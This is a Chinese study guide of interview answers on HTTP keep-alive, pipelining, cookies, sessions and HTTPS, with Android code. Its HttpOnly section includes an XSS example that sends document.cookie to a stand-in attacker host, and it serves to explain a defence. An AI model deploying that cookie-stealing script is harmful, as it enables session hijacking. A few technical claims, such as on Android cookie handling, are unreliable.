第七章:HTTP 连接管理(7 题)
7.1 HTTP的长连接和短连接的区别是什么?
答案:
HTTP的长连接和短连接的主要区别:
-
连接方式
- 长连接(Keep-Alive):一次TCP连接可以传输多个HTTP请求
- 短连接:每个HTTP请求都需要建立新的TCP连接
-
连接建立
- 长连接:建立一次连接,复用多次
- 短连接:每次请求都建立新连接
-
性能
- 长连接:性能好(减少连接建立开销)
- 短连接:性能差(每次都要建立连接)
-
资源消耗
- 长连接:服务器资源消耗较高(保持连接)
- 短连接:服务器资源消耗较低(连接关闭)
对比示例:
短连接(HTTP/1.0默认):
请求1: 建立连接 → 请求 → 响应 → 关闭连接
请求2: 建立连接 → 请求 → 响应 → 关闭连接
请求3: 建立连接 → 请求 → 响应 → 关闭连接
长连接(HTTP/1.1默认):
建立连接
请求1 → 响应
请求2 → 响应
请求3 → 响应
关闭连接
对比表:
| 特性 | 长连接 | 短连接 |
|---|---|---|
| 连接方式 | 复用连接 | 每次新建 |
| 性能 | 好 | 差 |
| 资源消耗 | 高 | 低 |
| HTTP版本 | HTTP/1.1 | HTTP/1.0 |
| 使用场景 | 频繁请求 | 偶尔请求 |
Android代码示例:
// HTTP/1.1默认长连接
HttpURLConnection conn = (HttpURLConnection) url.openConnection();
// Connection: keep-alive(默认)
// 显式设置
conn.setRequestProperty("Connection", "keep-alive");
// 或关闭
conn.setRequestProperty("Connection", "close");
使用场景:
- 长连接:频繁请求、API调用、WebSocket
- 短连接:偶尔请求、一次性操作
最佳实践:
- HTTP/1.1使用长连接(默认)
- 频繁请求使用长连接
- 减少连接建立开销
7.2 HTTP/1.0默认使用什么连接?
答案:
HTTP/1.0默认使用短连接(Short Connection)。
HTTP/1.0的连接特点:
-
默认短连接
- 每个HTTP请求都需要建立新的TCP连接
- 请求完成后立即关闭连接
- 性能较差
-
支持长连接
- 需要显式设置Connection: keep-alive
- 服务器也需要支持
- 不是默认行为
-
连接流程
建立TCP连接 发送HTTP请求 接收HTTP响应 关闭TCP连接
HTTP/1.0请求示例:
# 请求1
GET /page1.html HTTP/1.0
HTTP/1.0 200 OK
Connection: close
<html>...</html>
# 连接关闭
# 请求2(新连接)
GET /page2.html HTTP/1.0
HTTP/1.0 200 OK
Connection: close
<html>...</html>
# 连接关闭
HTTP/1.0长连接示例:
# 请求1
GET /page1.html HTTP/1.0
Connection: keep-alive
HTTP/1.0 200 OK
Connection: keep-alive
Keep-Alive: timeout=5, max=100
<html>...</html>
# 连接保持
# 请求2(复用连接)
GET /page2.html HTTP/1.0
Connection: keep-alive
HTTP/1.0 200 OK
Connection: keep-alive
<html>...</html>
问题:
- 每次请求都要建立连接(三次握手)
- 每次请求都要关闭连接(四次挥手)
- 开销大,性能差
解决方案:
- 使用HTTP/1.1(默认长连接)
- HTTP/1.0显式设置keep-alive
- 使用连接池
7.3 HTTP/1.1默认使用什么连接?
答案:
HTTP/1.1默认使用长连接(Keep-Alive / Persistent Connection)。
HTTP/1.1的连接特点:
-
默认长连接
- 一次TCP连接可以传输多个HTTP请求
- 请求完成后保持连接
- 性能好
-
连接复用
- 减少连接建立开销
- 减少连接关闭开销
- 提高性能
-
连接管理
- Connection头控制连接
- Keep-Alive头设置参数
- 可以显式关闭连接
HTTP/1.1请求示例:
# 请求1
GET /page1.html HTTP/1.1
Host: www.example.com
HTTP/1.1 200 OK
Connection: keep-alive
Keep-Alive: timeout=5, max=100
<html>...</html>
# 连接保持
# 请求2(复用连接)
GET /page2.html HTTP/1.1
Host: www.example.com
HTTP/1.1 200 OK
Connection: keep-alive
<html>...</html>
# 连接保持
Keep-Alive参数:
Keep-Alive: timeout=5, max=100
- timeout:空闲连接保持时间(秒)
- max:最大请求数
Android代码示例:
// HTTP/1.1默认长连接
HttpURLConnection conn = (HttpURLConnection) url.openConnection();
// Connection: keep-alive(默认)
// 读取Keep-Alive
String keepAlive = conn.getHeaderField("Keep-Alive");
// 例如:timeout=5, max=100
优势:
- 减少连接建立开销
- 提高性能
- 减少服务器负载
注意事项:
- 连接会消耗服务器资源
- 需要合理设置timeout
- 及时关闭不需要的连接
7.4 Keep-Alive的作用是什么?
答案:
Keep-Alive用于保持HTTP连接打开,允许复用连接发送多个请求。
Keep-Alive的作用:
-
保持连接
- 保持TCP连接打开
- 允许发送多个HTTP请求
- 减少连接建立开销
-
连接复用
- 复用同一个TCP连接
- 发送多个请求
- 提高性能
-
参数设置
- timeout:空闲连接保持时间
- max:最大请求数
Keep-Alive格式:
Keep-Alive: timeout=5, max=100
Keep-Alive参数:
-
timeout(超时时间)
- 空闲连接保持时间(秒)
- 超过时间未使用则关闭连接
- 例如:timeout=5(5秒)
-
max(最大请求数)
- 连接的最大请求数
- 超过数量后关闭连接
- 例如:max=100(100个请求)
Keep-Alive示例:
# 请求1
GET /page1.html HTTP/1.1
Connection: keep-alive
HTTP/1.1 200 OK
Connection: keep-alive
Keep-Alive: timeout=5, max=100
# 连接保持5秒空闲时间,最多100个请求
# 请求2(复用连接,5秒内)
GET /page2.html HTTP/1.1
Connection: keep-alive
HTTP/1.1 200 OK
Connection: keep-alive
Keep-Alive: timeout=5, max=99 # 剩余99个请求
Android代码示例:
HttpURLConnection conn = (HttpURLConnection) url.openConnection();
// HTTP/1.1默认keep-alive
// 读取Keep-Alive参数
String keepAlive = conn.getHeaderField("Keep-Alive");
if (keepAlive != null) {
// 解析timeout和max
// 例如:timeout=5, max=100
Map<String, String> params = parseKeepAlive(keepAlive);
int timeout = Integer.parseInt(params.get("timeout"));
int max = Integer.parseInt(params.get("max"));
}
使用场景:
- HTTP/1.1默认使用
- 频繁请求的场景
- API调用
- 提高性能
注意事项:
- 合理设置timeout
- 合理设置max
- 及时关闭不需要的连接
- 避免连接泄漏
7.5 如何设置Keep-Alive?
答案:
设置Keep-Alive的方法:
-
HTTP/1.1(默认)
GET /page.html HTTP/1.1 Host: www.example.com # Connection: keep-alive(默认) -
显式设置(HTTP/1.0)
GET /page.html HTTP/1.0 Connection: keep-alive -
服务器响应
HTTP/1.1 200 OK Connection: keep-alive Keep-Alive: timeout=5, max=100
Android代码示例:
HttpURLConnection conn = (HttpURLConnection) url.openConnection();
// HTTP/1.1默认keep-alive,可以显式设置
conn.setRequestProperty("Connection", "keep-alive");
// 或者关闭
conn.setRequestProperty("Connection", "close");
服务器配置(Nginx):
# 设置keepalive_timeout
keepalive_timeout 65;
keepalive_requests 100;
服务器配置(Apache):
# 设置KeepAlive
KeepAlive On
MaxKeepAliveRequests 100
KeepAliveTimeout 5
最佳实践:
- HTTP/1.1默认使用keep-alive
- 合理设置timeout(5-60秒)
- 合理设置max(100-1000)
- 及时关闭不需要的连接
7.6 HTTP的管道化(Pipelining)是什么?
答案:
HTTP的管道化(Pipelining)是指在同一个TCP连接上,客户端可以发送多个请求而不等待响应。
管道化的特点:
-
并行请求
- 客户端可以发送多个请求
- 不需要等待前一个请求的响应
- 提高性能
-
顺序响应
- 服务器按顺序处理请求
- 按顺序返回响应
- 客户端按顺序接收
-
HTTP/1.1支持
- HTTP/1.1支持管道化
- 但使用较少
- 实现复杂
管道化示例:
不使用管道化:
请求1 → 响应1 → 请求2 → 响应2 → 请求3 → 响应3
使用管道化:
请求1 ──┐
请求2 ──┼──→ 发送(不等待响应)
请求3 ──┘
↓
响应1(按顺序)
响应2
响应3
管道化请求示例:
# 客户端发送(不等待响应)
GET /page1.html HTTP/1.1
GET /page2.html HTTP/1.1
GET /page3.html HTTP/1.1
# 服务器响应(按顺序)
HTTP/1.1 200 OK
Content-Length: 1234
<html>page1</html>
HTTP/1.1 200 OK
Content-Length: 2345
<html>page2</html>
HTTP/1.1 200 OK
Content-Length: 3456
<html>page3</html>
问题:
-
队头阻塞(Head-of-line blocking)
- 如果第一个请求慢,后续请求被阻塞
- 即使后续请求已经处理完成
- 必须按顺序返回
-
实现复杂
- 客户端实现复杂
- 服务器实现复杂
- 错误处理复杂
-
使用较少
- 大多数浏览器不支持
- 大多数服务器不支持
- HTTP/2.0多路复用更好
与HTTP/2.0多路复用的区别:
| 特性 | 管道化 | 多路复用 |
|---|---|---|
| HTTP版本 | HTTP/1.1 | HTTP/2.0 |
| 响应顺序 | 必须按顺序 | 可以乱序 |
| 队头阻塞 | 有 | 无 |
| 使用情况 | 很少 | 逐渐普及 |
Android代码示例:
// HTTP/1.1管道化通常需要手动实现
// 大多数HTTP客户端库不支持管道化
// 建议使用HTTP/2.0多路复用
使用场景:
- HTTP/1.1优化性能
- 多个资源请求
- 减少延迟
注意事项:
- 实现复杂
- 队头阻塞问题
- 使用较少
- HTTP/2.0是更好的选择
7.7 管道化的优缺点是什么?
答案:
管道化的优缺点:
优点:
-
提高性能
- 减少往返时间(RTT)
- 提高吞吐量
- 减少延迟
-
减少连接数
- 可以复用单个连接
- 减少连接建立开销
- 减少服务器资源消耗
-
并行请求
- 可以同时发送多个请求
- 不需要等待响应
- 提高效率
缺点:
-
队头阻塞(Head-of-line blocking)
- 如果第一个请求慢,后续请求被阻塞
- 即使后续请求已经处理完成
- 必须按顺序返回响应
-
实现复杂
- 客户端实现复杂
- 服务器实现复杂
- 错误处理复杂
-
兼容性问题
- 某些代理服务器不支持
- 某些服务器不支持
- 某些客户端不支持
-
使用较少
- 大多数浏览器不支持
- 大多数服务器不支持
- 实际使用很少
队头阻塞示例:
# 客户端发送
请求1(慢) ──┐
请求2(快) ──┼──→ 发送
请求3(快) ──┘
# 服务器处理
请求1:处理中(慢)...
请求2:已完成(等待请求1)
请求3:已完成(等待请求1)
# 响应(必须按顺序)
响应1(慢) ← 阻塞响应2和3
响应2(已准备好,但等待响应1)
响应3(已准备好,但等待响应1和2)
对比表:
| 特性 | 管道化 | HTTP/2.0多路复用 |
|---|---|---|
| 性能 | 好 | 更好 |
| 队头阻塞 | 有 | 无 |
| 实现复杂度 | 高 | 中 |
| 使用情况 | 很少 | 逐渐普及 |
最佳实践:
- HTTP/1.1不建议使用管道化
- 使用HTTP/2.0多路复用
- 或使用多个连接
- 或使用连接池
答案:
HTTP/2.0的多路复用(Multiplexing)是指在单个TCP连接上同时传输多个HTTP请求和响应(详见2.14题答案)。
多路复用的特点:
-
真正的并行
- 多个请求和响应可以交错传输
- 不需要按顺序
- 解决了队头阻塞问题
-
二进制分帧
- 使用二进制帧
- 每个帧有流ID
- 可以交错传输
-
流控制
- 每个流独立控制
- 不影响其他流
- 更精细的控制
多路复用示例:
请求1 ──┐
请求2 ──┼──→ 并行传输 ──┼──→ 响应1
请求3 ──┘ ├──→ 响应3(可以先返回)
└──→ 响应2
与管道化的区别:
| 特性 | 管道化 | 多路复用 |
|---|---|---|
| 响应顺序 | 必须按顺序 | 可以乱序 |
| 队头阻塞 | 有 | 无 |
| 格式 | 文本 | 二进制 |
| 性能 | 好 | 更好 |
优势:
- 解决队头阻塞问题
- 真正的并行传输
- 提高性能
- 减少连接数
答案:
多路复用和管道化的主要区别(详见7.7和7.8题答案):
-
响应顺序
- 管道化:必须按顺序返回响应
- 多路复用:可以乱序返回响应
-
队头阻塞
- 管道化:有队头阻塞问题
- 多路复用:无队头阻塞问题
-
格式
- 管道化:文本格式
- 多路复用:二进制格式
-
HTTP版本
- 管道化:HTTP/1.1
- 多路复用:HTTP/2.0
-
使用情况
- 管道化:很少使用
- 多路复用:逐渐普及
对比表:
| 特性 | 管道化 | 多路复用 |
|---|---|---|
| HTTP版本 | HTTP/1.1 | HTTP/2.0 |
| 响应顺序 | 必须按顺序 | 可以乱序 |
| 队头阻塞 | 有 | 无 |
| 格式 | 文本 | 二进制 |
| 性能 | 好 | 更好 |
| 使用情况 | 很少 | 逐渐普及 |
最佳实践:
- 优先使用HTTP/2.0多路复用
- HTTP/1.1不建议使用管道化
- 使用多个连接或连接池
第八章:HTTP Cookie 和 Session(9 题)
8.1 Cookie的特点是什么?
答案:
Cookie的特点:
-
客户端存储
- 存储在客户端(浏览器)
- 服务器设置Cookie
- 客户端自动携带
-
域名和路径限制
- 只能被设置Cookie的域名访问
- 只能被设置Cookie的路径访问
- 子域名和子路径可以访问
-
大小限制
- 每个Cookie最大4KB
- 每个域名最多约50个Cookie
- 总数限制(浏览器不同)
-
生命周期
- 可以设置过期时间
- 可以设置会话Cookie(关闭浏览器删除)
- 可以设置持久Cookie
-
安全性
- HttpOnly:JavaScript不可访问
- Secure:只在HTTPS中发送
- SameSite:同站策略
Cookie限制:
| 限制项 | 限制值 |
|---|---|
| 单个Cookie大小 | 4KB |
| 每个域名Cookie数 | 约50个 |
| 总Cookie数 | 浏览器不同(约300个) |
Android代码示例:
CookieManager cookieManager = CookieManager.getInstance();
cookieManager.setAcceptCookie(true);
// 读取Cookie
String cookies = cookieManager.getCookie(url);
if (cookies != null) {
// 使用Cookie
}
// 设置Cookie
cookieManager.setCookie(url, "sessionid=abc123; Path=/");
使用场景:
- 用户登录状态
- 会话管理
- 个性化设置
- 购物车
注意事项:
- Cookie大小有限制
- Cookie数量有限制
- 敏感信息使用Secure + HttpOnly
- 不要存储敏感信息
8.2 Cookie的属性有哪些?
答案:
Cookie的属性(详见5.17题答案):
- Name和Value:Cookie的名称和值
- Domain:Cookie的域名
- Path:Cookie的路径
- Expires/Max-Age:过期时间
- Secure:安全传输
- HttpOnly:JavaScript不可访问
- SameSite:同站策略
8.3 Cookie的Domain属性是什么?
答案:
Cookie的Domain属性用于指定Cookie的域名范围。
Domain属性的作用:
-
域名限制
- 指定Cookie可用的域名
- 只能被指定域名及其子域名访问
- 默认是当前域名
-
子域名访问
.example.com表示所有子域名www.example.com可以访问api.example.com可以访问
-
格式
Domain=.example.com # 所有子域名 Domain=example.com # 当前域名(默认)
Domain示例:
-
默认Domain(当前域名)
Set-Cookie: sessionid=abc123 # Domain默认是当前域名 # 只能被当前域名访问 -
指定Domain(所有子域名)
Set-Cookie: sessionid=abc123; Domain=.example.com # 可以被所有子域名访问 # www.example.com可以访问 # api.example.com可以访问 # blog.example.com可以访问 -
不同域名的Cookie
# 域名:www.example.com Set-Cookie: sessionid=abc123; Domain=www.example.com # 只能被www.example.com访问 # 域名:api.example.com Set-Cookie: apikey=xyz789; Domain=api.example.com # 只能被api.example.com访问 # 域名:example.com Set-Cookie: global=123; Domain=.example.com # 可以被所有子域名访问
Android代码示例:
CookieManager cookieManager = CookieManager.getInstance();
// 设置Cookie(指定Domain)
String cookie = "sessionid=abc123; Domain=.example.com; Path=/";
cookieManager.setCookie("https://www.example.com", cookie);
// 读取Cookie(Domain限制)
String cookies = cookieManager.getCookie("https://api.example.com");
// 如果Domain是.example.com,可以访问
使用场景:
- 单点登录(SSO)
- 跨子域名的会话
- 全局Cookie
注意事项:
- Domain必须以点(.)开头才能被子域名访问
- Domain不能设置为其他域名(安全限制)
- 子域名可以访问父域名的Cookie(如果Domain设置正确)
8.4 Cookie的Path属性是什么?
答案:
Cookie的Path属性用于指定Cookie的路径范围。
Path属性的作用:
-
路径限制
- 指定Cookie可用的路径
- 只能被指定路径及其子路径访问
- 默认是当前路径
-
子路径访问
/api表示/api及其所有子路径/api/users可以访问/api/orders可以访问
-
格式
Path=/api # /api及其子路径 Path=/ # 所有路径(默认)
Path示例:
-
默认Path(当前路径)
Set-Cookie: sessionid=abc123 # Path默认是当前路径 # 只能被当前路径访问 -
指定Path(所有路径)
Set-Cookie: sessionid=abc123; Path=/ # 可以被所有路径访问 # /page可以访问 # /api可以访问 # /api/users可以访问 -
指定Path(特定路径)
Set-Cookie: apikey=xyz789; Path=/api # 只能被/api及其子路径访问 # /api/users可以访问 # /api/orders可以访问 # /page不能访问
Android代码示例:
CookieManager cookieManager = CookieManager.getInstance();
// 设置Cookie(指定Path)
String cookie = "sessionid=abc123; Path=/";
cookieManager.setCookie("https://example.com", cookie);
// 设置API Cookie(特定Path)
String apiCookie = "apikey=xyz789; Path=/api";
cookieManager.setCookie("https://example.com/api", apiCookie);
使用场景:
- 路径隔离
- API专用Cookie
- 路径级别的会话
注意事项:
- Path必须以
/开头 - 子路径可以访问父路径的Cookie
- 默认Path是当前路径
8.5 Cookie的Expires和Max-Age的区别是什么?
答案:
Cookie的Expires和Max-Age的区别:
-
时间格式
- Expires:绝对时间(GMT时间)
- Max-Age:相对时间(秒)
-
HTTP版本
- Expires:HTTP/1.0
- Max-Age:HTTP/1.1
-
优先级
- Max-Age:优先级高
- Expires:优先级低
-
兼容性
- Expires:兼容性好
- Max-Age:HTTP/1.1+
Expires示例:
Set-Cookie: sessionid=abc123; Expires=Wed, 21 Oct 2024 11:00:00 GMT
# 绝对时间,2024年10月21日11:00:00过期
Max-Age示例:
Set-Cookie: sessionid=abc123; Max-Age=3600
# 相对时间,3600秒(1小时)后过期
对比表:
| 特性 | Expires | Max-Age |
|---|---|---|
| 时间格式 | 绝对时间 | 相对时间 |
| HTTP版本 | HTTP/1.0 | HTTP/1.1 |
| 优先级 | 低 | 高 |
| 兼容性 | 好 | HTTP/1.1+ |
| 使用场景 | 兼容性 | 现代浏览器 |
Android代码示例:
// 使用Max-Age
String cookie = "sessionid=abc123; Max-Age=3600; Path=/";
cookieManager.setCookie(url, cookie);
// 使用Expires
SimpleDateFormat sdf = new SimpleDateFormat("EEE, dd MMM yyyy HH:mm:ss z", Locale.US);
sdf.setTimeZone(TimeZone.getTimeZone("GMT"));
Date expireDate = new Date(System.currentTimeMillis() + 3600 * 1000);
String expires = sdf.format(expireDate);
String cookie = "sessionid=abc123; Expires=" + expires + "; Path=/";
cookieManager.setCookie(url, cookie);
最佳实践:
- 优先使用Max-Age(更简单)
- Expires用于兼容性
- 两者可以同时设置(Max-Age优先)
8.6 HttpOnly Cookie的作用是什么?
答案:
HttpOnly Cookie用于防止JavaScript访问Cookie,防止XSS攻击。
HttpOnly Cookie的作用:
-
安全防护
- JavaScript无法访问Cookie
- 防止XSS攻击
- 保护敏感信息
-
防止XSS攻击
- XSS攻击可能窃取Cookie
- HttpOnly Cookie无法被JavaScript访问
- 提高安全性
-
使用场景
- 会话Cookie
- 认证Cookie
- 敏感信息Cookie
HttpOnly示例:
# 设置HttpOnly Cookie
Set-Cookie: sessionid=abc123; HttpOnly; Path=/
# JavaScript无法访问
document.cookie // 不包含HttpOnly Cookie
XSS攻击示例:
-
没有HttpOnly(不安全)
// XSS攻击代码 <script> var cookie = document.cookie; // 可以获取Cookie // 发送到攻击者服务器 fetch('http://attacker.com/steal?cookie=' + cookie); </script> -
有HttpOnly(安全)
// XSS攻击代码 <script> var cookie = document.cookie; // HttpOnly Cookie无法获取 // 只能获取非HttpOnly Cookie </script>
Android代码示例:
CookieManager cookieManager = CookieManager.getInstance();
// HttpOnly Cookie在Android中需要特殊处理
// Android的CookieManager不支持HttpOnly
// 需要在WebView中使用
WebView webView = new WebView(context);
CookieManager cookieManager = CookieManager.getInstance();
cookieManager.setAcceptCookie(true);
cookieManager.setCookie(url, "sessionid=abc123; HttpOnly; Path=/");
最佳实践:
- 会话Cookie使用HttpOnly
- 认证Cookie使用HttpOnly
- 敏感信息Cookie使用HttpOnly
- 配合Secure使用(HTTPS)
安全建议:
- 所有Cookie都应该使用HttpOnly(除非需要JavaScript访问)
- 配合Secure使用(HTTPS传输)
- 配合SameSite使用(防止CSRF)
8.7 Secure Cookie的作用是什么?
答案:
Secure Cookie用于只在HTTPS连接中发送Cookie,保护Cookie传输安全。
Secure Cookie的作用:
-
安全传输
- 只在HTTPS连接中发送
- HTTP连接中不发送
- 保护Cookie不被窃听
-
防止中间人攻击
- 防止Cookie被窃听
- 防止Cookie被篡改
- 保护传输安全
-
使用场景
- 敏感信息Cookie
- 认证Cookie
- 会话Cookie
Secure示例:
# 设置Secure Cookie
Set-Cookie: sessionid=abc123; Secure; Path=/
# HTTP连接:不发送
GET http://example.com/page HTTP/1.1
Cookie: (不包含Secure Cookie)
# HTTPS连接:发送
GET https://example.com/page HTTP/1.1
Cookie: sessionid=abc123
Android代码示例:
CookieManager cookieManager = CookieManager.getInstance();
// Secure Cookie
String cookie = "sessionid=abc123; Secure; Path=/";
cookieManager.setCookie("https://example.com", cookie);
// HTTP连接不会发送Secure Cookie
// HTTPS连接会发送Secure Cookie
安全建议:
- 敏感Cookie使用Secure
- 认证Cookie使用Secure
- 配合HttpOnly使用
- 配合SameSite使用
最佳实践:
- 所有Cookie都应该使用Secure(HTTPS环境)
- 配合HttpOnly使用(防止XSS)
- 配合SameSite使用(防止CSRF)
8.8 Session的作用是什么?
答案:
Session用于在服务器端存储会话信息,实现有状态的HTTP通信。
Session的作用:
-
服务器端存储
- 会话信息存储在服务器
- 客户端只存储Session ID
- 安全性更高
-
会话管理
- 存储用户登录状态
- 存储用户信息
- 存储会话数据
-
安全性
- 数据存储在服务器
- 客户端无法直接访问
- 相对安全
Session工作原理:
-
创建Session
客户端请求 → 服务器创建Session → 返回Session ID -
使用Session
客户端发送Session ID → 服务器查找Session → 使用会话数据 -
Session存储
- Session ID通过Cookie传递
- 会话数据存储在服务器
- Session ID是唯一标识
Session示例:
# 登录请求
POST /login HTTP/1.1
Content-Type: application/json
{
"username": "john",
"password": "123456"
}
# 服务器响应
HTTP/1.1 200 OK
Set-Cookie: JSESSIONID=abc123; Path=/; HttpOnly
{
"success": true
}
# 后续请求
GET /api/profile HTTP/1.1
Cookie: JSESSIONID=abc123
# 服务器查找Session(JSESSIONID=abc123)
# 使用会话数据
Session vs Cookie:
| 特性 | Session | Cookie |
|---|---|---|
| 存储位置 | 服务器 | 客户端 |
| 存储内容 | 会话数据 | 会话ID |
| 安全性 | 高 | 低 |
| 大小限制 | 无 | 4KB |
| 数量限制 | 无 | 约50个 |
Android代码示例:
// Session通常用于Web应用
// Android应用通常使用Token(JWT)
// 但也可以使用Session
HttpURLConnection conn = (HttpURLConnection) url.openConnection();
// 读取Set-Cookie获取Session ID
String setCookie = conn.getHeaderField("Set-Cookie");
if (setCookie != null && setCookie.contains("JSESSIONID")) {
// 提取Session ID
String sessionId = extractSessionId(setCookie);
// 保存Session ID
saveSessionId(sessionId);
}
// 后续请求携带Session ID
String sessionId = getSessionId();
if (sessionId != null) {
conn.setRequestProperty("Cookie", "JSESSIONID=" + sessionId);
}
使用场景:
- Web应用会话管理
- 用户登录状态
- 购物车
- 临时数据存储
注意事项:
- Session需要服务器存储空间
- Session ID需要安全传输(Secure Cookie)
- Session需要过期机制
- 分布式系统需要共享Session
8.9 Cookie和Session的区别是什么?
答案:
Cookie和Session的主要区别:
-
存储位置
- Cookie:存储在客户端(浏览器)
- Session:存储在服务器
-
存储内容
- Cookie:存储会话数据或Session ID
- Session:存储会话数据(客户端只存储Session ID)
-
安全性
- Cookie:安全性较低(客户端存储)
- Session:安全性较高(服务器存储)
-
大小限制
- Cookie:4KB
- Session:无限制(服务器限制)
-
数量限制
- Cookie:每个域名约50个
- Session:无限制
-
性能
- Cookie:每次请求都携带(增加请求大小)
- Session:只携带Session ID(请求小)
-
跨域
- Cookie:受域名限制
- Session:不受域名限制(通过Session ID)
对比表:
| 特性 | Cookie | Session |
|---|---|---|
| 存储位置 | 客户端 | 服务器 |
| 存储内容 | 数据或ID | 数据(客户端只有ID) |
| 安全性 | 低 | 高 |
| 大小限制 | 4KB | 无 |
| 数量限制 | 约50个 | 无 |
| 性能 | 每次携带数据 | 只携带ID |
| 跨域 | 受限制 | 不受限制 |
使用场景:
-
Cookie适合
- 客户端偏好设置
- 非敏感数据
- 客户端逻辑
-
Session适合
- 用户登录状态
- 敏感数据
- 服务器端逻辑
最佳实践:
- 敏感数据使用Session
- 非敏感数据可以使用Cookie
- Session ID使用Secure + HttpOnly Cookie
- 结合使用(Session存储数据,Cookie存储Session ID)
第二部分:HTTPS 与安全答案
第九章:HTTP 与 HTTPS 对比(15 题)
9.1 HTTP和HTTPS的定义是什么?
答案:
HTTP(HyperText Transfer Protocol):超文本传输协议,是用于在网络上传输超文本的协议。
HTTPS(HyperText Transfer Protocol Secure):超文本传输安全协议,是在HTTP基础上添加了SSL/TLS加密层的安全版本。
HTTP定义:
- 应用层协议
- 基于TCP/IP
- 用于Web通信
- 明文传输
HTTPS定义:
- HTTP + SSL/TLS
- 加密传输
- 身份验证
- 数据完整性
对比:
| 特性 | HTTP | HTTPS |
|---|---|---|
| 全称 | HyperText Transfer Protocol | HyperText Transfer Protocol Secure |
| 加密 | 无(明文) | 有(SSL/TLS) |
| 端口 | 80 | 443 |
| 安全性 | 不安全 | 安全 |
| 协议基础 | TCP | TCP + SSL/TLS |
示例:
HTTP: http://www.example.com
HTTPS: https://www.example.com
9.2 HTTP和HTTPS的全称是什么?
答案:
- HTTP:HyperText Transfer Protocol(超文本传输协议)
- HTTPS:HyperText Transfer Protocol Secure(超文本传输安全协议)
详细说明:
-
HTTP全称
- HyperText:超文本
- Transfer:传输
- Protocol:协议
- 超文本传输协议
-
HTTPS全称
- HyperText:超文本
- Transfer:传输
- Protocol:协议
- Secure:安全
- 超文本传输安全协议
-
关系
- HTTPS = HTTP + SSL/TLS
- HTTPS是HTTP的安全版本
- HTTPS在HTTP基础上添加加密层
9.3 HTTP和HTTPS的默认端口号是什么?
答案:
- HTTP:默认端口号 80
- HTTPS:默认端口号 443
详细说明:
-
HTTP端口
- 默认端口:80
- 可以指定其他端口
- 例如:
http://example.com:8080
-
HTTPS端口
- 默认端口:443
- 可以指定其他端口
- 例如:
https://example.com:8443
-
URL中的端口
http://www.example.com # 默认80端口 http://www.example.com:80 # 显式指定80端口 http://www.example.com:8080 # 使用8080端口 https://www.example.com # 默认443端口 https://www.example.com:443 # 显式指定443端口 https://www.example.com:8443 # 使用8443端口
Android代码示例:
// HTTP默认端口80
URL httpUrl = new URL("http://www.example.com");
// 实际连接端口:80
// HTTPS默认端口443
URL httpsUrl = new URL("https://www.example.com");
// 实际连接端口:443
// 指定端口
URL customUrl = new URL("http://www.example.com:8080");
// 连接端口:8080
常见端口:
- HTTP:80
- HTTPS:443
- HTTP代理:8080
- HTTPS代理:8443
9.4 HTTP和HTTPS的协议基础是什么?
答案:
- HTTP:基于 TCP/IP
- HTTPS:基于 TCP/IP + SSL/TLS
详细说明:
-
HTTP协议基础
- 基于TCP/IP
- 应用层协议
- 直接使用TCP连接
- 无加密层
-
HTTPS协议基础
- 基于TCP/IP + SSL/TLS
- 应用层协议
- 在TCP之上添加SSL/TLS加密层
- 有加密层
-
协议栈对比
HTTP协议栈:
应用层:HTTP 传输层:TCP 网络层:IP 数据链路层:以太网 物理层:物理介质HTTPS协议栈:
应用层:HTTP 安全层:SSL/TLS 传输层:TCP 网络层:IP 数据链路层:以太网 物理层:物理介质
协议关系:
- HTTP:HTTP → TCP → IP
- HTTPS:HTTP → SSL/TLS → TCP → IP
Android代码示例:
// HTTP连接
URL httpUrl = new URL("http://www.example.com");
HttpURLConnection httpConn = (HttpURLConnection) httpUrl.openConnection();
// 直接使用TCP连接,无加密
// HTTPS连接
URL httpsUrl = new URL("https://www.example.com");
HttpsURLConnection httpsConn = (HttpsURLConnection) httpsUrl.openConnection();
// 使用SSL/TLS加密的TCP连接
9.5 HTTP和HTTPS的URL格式有什么区别?
答案:
HTTP和HTTPS的URL格式区别在于协议标识符(scheme)。
URL格式:
协议://主机名:端口/路径?查询参数#片段
HTTP URL格式:
http://www.example.com
http://www.example.com:80
http://www.example.com/path?query=value
HTTPS URL格式:
https://www.example.com
https://www.example.com:443
https://www.example.com/path?query=value
区别:
-
协议标识符
- HTTP:
http:// - HTTPS:
https://
- HTTP:
-
默认端口
- HTTP:80(可省略)
- HTTPS:443(可省略)
-
其他部分
- 主机名、路径、查询参数、片段格式相同
- 区别只在协议部分
URL示例:
// HTTP URL
String httpUrl = "http://www.example.com";
String httpUrlWithPath = "http://www.example.com/api/users?page=1";
// HTTPS URL
String httpsUrl = "https://www.example.com";
String httpsUrlWithPath = "https://www.example.com/api/users?page=1";
// Android代码
URL url1 = new URL("http://www.example.com");
URL url2 = new URL("https://www.example.com");
使用场景:
- HTTP:内网、开发环境、不敏感数据
- HTTPS:公网、生产环境、敏感数据
最佳实践:
- 生产环境使用HTTPS
- 敏感数据使用HTTPS
- 遵守HTTPS优先策略(HSTS)
9.6 HTTP和HTTPS的安全性有什么区别?
答案:
HTTP和HTTPS在安全性上的主要区别:
-
数据传输
- HTTP:明文传输,数据可被窃听
- HTTPS:加密传输,数据不可被窃听
-
身份验证
- HTTP:无身份验证,可能被中间人攻击
- HTTPS:有身份验证(证书),防止中间人攻击
-
数据完整性
- HTTP:无完整性校验,数据可能被篡改
- HTTPS:有完整性校验,数据不可被篡改
-
安全性等级
- HTTP:不安全
- HTTPS:安全
对比表:
| 安全特性 | HTTP | HTTPS |
|---|---|---|
| 加密传输 | 无(明文) | 有(SSL/TLS) |
| 身份验证 | 无 | 有(证书) |
| 数据完整性 | 无 | 有(MAC) |
| 防止窃听 | 无 | 有 |
| 防止篡改 | 无 | 有 |
| 防止中间人攻击 | 无 | 有 |
| 安全性 | 不安全 | 安全 |
安全性对比示例:
HTTP(不安全):
客户端 ←→ 明文数据 ←→ 服务器
↑
可能被窃听、篡改
HTTPS(安全):
客户端 ←→ 加密数据 ←→ 服务器
↑
无法窃听、篡改
攻击场景:
-
HTTP攻击
- 数据窃听:明文传输,可被截获
- 数据篡改:无完整性校验,可被修改
- 中间人攻击:无身份验证,可被冒充
-
HTTPS防护
- 数据窃听:加密传输,无法窃听
- 数据篡改:完整性校验,无法篡改
- 中间人攻击:证书验证,无法冒充
最佳实践:
- 生产环境使用HTTPS
- 敏感数据使用HTTPS
- 登录、支付等关键操作使用HTTPS
- 遵守HTTPS优先策略(HSTS)
9.7 HTTP为什么是不安全的?
答案:
HTTP不安全的原因:
-
明文传输
- 数据以明文形式传输
- 可被网络中的任何节点窃听
- 密码、个人信息等敏感数据暴露
-
无身份验证
- 无法验证服务器身份
- 可能被中间人攻击
